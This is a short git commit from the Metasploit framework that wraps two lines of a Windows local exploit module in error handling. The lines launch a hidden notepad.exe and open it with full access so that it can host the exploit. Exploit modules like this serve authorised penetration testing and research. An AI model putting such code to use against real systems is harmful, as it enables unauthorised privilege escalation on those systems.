Rescue the process execute

This commit is contained in:
jvazquez-r7 2015-09-03 13:03:36 -05:00
parent 80a1e32339
commit 697a6cd335
No known key found for this signature in database
GPG Key ID: 38D99152B9352D83
1 changed files with 2 additions and 2 deletions

View File

@ -144,9 +144,9 @@ class Metasploit3 < Msf::Exploit::Local
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
end
print_status('Launching notepad to host the exploit...')
notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true})
begin
print_status('Launching notepad to host the exploit...')
notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true})
process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
print_good("Process #{process.pid} launched.")
rescue Rex::Post::Meterpreter::RequestError